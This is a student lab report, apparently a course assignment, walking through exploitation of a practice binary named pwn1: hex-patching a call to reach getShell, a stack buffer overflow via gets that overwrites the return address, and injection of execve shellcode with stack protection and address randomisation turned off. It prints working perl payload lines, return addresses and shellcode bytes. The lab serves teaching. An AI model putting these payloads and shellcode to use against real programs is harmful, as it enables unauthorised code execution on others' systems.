20211904 2021-2022-2 《网络攻防实践》第九次作业

1.实践内容

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

 

1.2 实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • 掌握反汇编与十六进制编程器

  • 能正确修改机器指令改变程序执行流程

  • 能正确构造payload进行bof攻击

 

2.实践过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

使用Kali虚拟机作为本次实践的主机。

首先通过objdump反汇编指令尝试查看pwn1程序的代码和逻辑。

指令:objdump -d ./pwn1 | more。

image-20220513092333501

找到getshell所在的代码部分。

image-20220513092414536

查看main函数的代码会发现,执行到80484b5时会执行 e8 d7 ff ff ff 这段机器指令,观察可知e8对应call, 那么d7 ff ff ff 对应的就是foo函数的偏移地址, 此时的EIP的地址为80484ba,那么foo函数的地址为。(0x080484ba+0xffffffd7)%0x100000000 = 0x8048491,所以只要修改相对位移量,使main函数调用getshell函数,修改的位移量可以通过计算得出:(0x0804847d-0x080484ba)%0x100000000 = 0xffffffc3

所以只要找到d7,再把d7修改成c3。

使用vim打开pwn1文件会发现都是乱码,于是将pwn1复制一份(cp ./pwn1 pwn2),作为对比,命名为pwn2。

image-20220513094830031

使用vim 打开pwn2 输入:%!xxd转换成16进制,通过vim的查找功能?d7查到d7,进行修改。

image-20220513095348075

修改完毕后,输入:%!xxd -r还原,wq保存退出。

分别运行pwn1 和 pwn2会发现修改成功了,成功获取到了shell。

image-20220513100510433

 

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

首先还是通过反汇编指令查看pwn1文件中foo函数的汇编代码。

image-20220513101640962

由于没有对输入长度进行限制,所以foo函数存在BOF漏洞,预留的局部变量的空间为0x38,gets函数会把读取到的字符串存放到0x1c,也就是28个字节。当输入的字符串长度超过28个字节,就会出现缓冲区溢出。

使用gdb对pwn1进行调试。

输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeeee”(8a 8b 8c 8d 8e)进行测试。

image-20220513105335212

输入info r查看当前寄存器的内容,ebp寄存器现在的内容为0x64646464 ,d对应ASCLL码的十六进制为64,而此时的eip寄存器的内容为0x65656565 ,e对应ASCLL码的十六进制为65,可以说明当输入的字符串长度过长,超过预留的长度28个字节,溢出到eip寄存器的空间。

那么我们只要正确设置输入的字符串,使字符串溢出的部分刚好是getShell函数的入口地址,就可以实现通过溢出运行getShell函数。因为ebp寄存器和eip寄存器的长度单位都是4字节,所以我们只要把getShell函数的入口地址,写在第33~36字节,那么就会覆盖eip的内容。

通过命令 perl -e 'print "19041904190419041904190419041904\x7d\x84\x04\x08\x0a"' > input生成十六进制字符串文件“input”

通过(cat input; cat) | ./pwn1命令将input作为pwn1的输入,从而获得shell

image-20220513110936825

 

2.3 注入一个自己制作的shellcode并运行这段shellcode

使用execstack等命令设置堆栈可执行并关闭地址随机化

image-20220513111457343

采用retaddr+nop+shellcode的方法构造要注入的shellcode,就是把shellode放到缓冲区后边的位置。

使用指令构造输入的字符串perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

通过(cat input_shellcode; cat) | ./pwn1命令将input_shellcode作为pwn1的输入。

image-20220513131831877

打开另一个终端查看此时pwn1的进程id根据查询到的进程id对pwn1使用gdb进行调试(使用指令[attach 进程id]),在foo函数运行结束前设置断点,继续运行程序,此时需要返回到正在运行的pwn1中输入某些字符串(调用函数foo),在断点处中断后查看此时的esp寄存器,根据之前的输入可知此时的栈顶指针若为\x4\x3\x2\x1就可以推算出retaddr的值。

retaddr的值为 0xffffd1ec+0x00000004=0xffffd1f0

image-20220513140151791

拿到了retaddr的值,于是可以构造32个A+retaddr+nop+shellcode:perl -e 'print "A" x 32; print"\xf0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'> input_shellcode1

将其作为pwn1的输入可以得到shell

image-20220513140844345

 

 

3.学习中遇到的问题及解决

  • 问题1:execstack无法安装

  • 问题1解决方式:更换kali源并apt update

4.实践总结

通过这次实验,我学会了如何更改可执行文件的执行顺序,从而达到调用某些函数的目的,这里是通过更改汇编指令源代码实现;还有利用BoF漏洞,通过输入比缓冲区更大的字符串从而使缓冲区溢出,导致程序运行的顺序发生改变,这里是通过输入字符串,字符串带有某些函数在程序中的相对偏移量,使溢出的部分刚好是偏移量实现的;实验虽然是在理想状态下成功的,但是这也说明了程序存在一定的安全问题,这种安全问题极其不明显,这次实践的让我大大加深了对于程序运行安全这方面的了解。

 

参考资料

posted @ 2022-05-13 14:30  20211904  阅读(131)  评论(0编辑  收藏  举报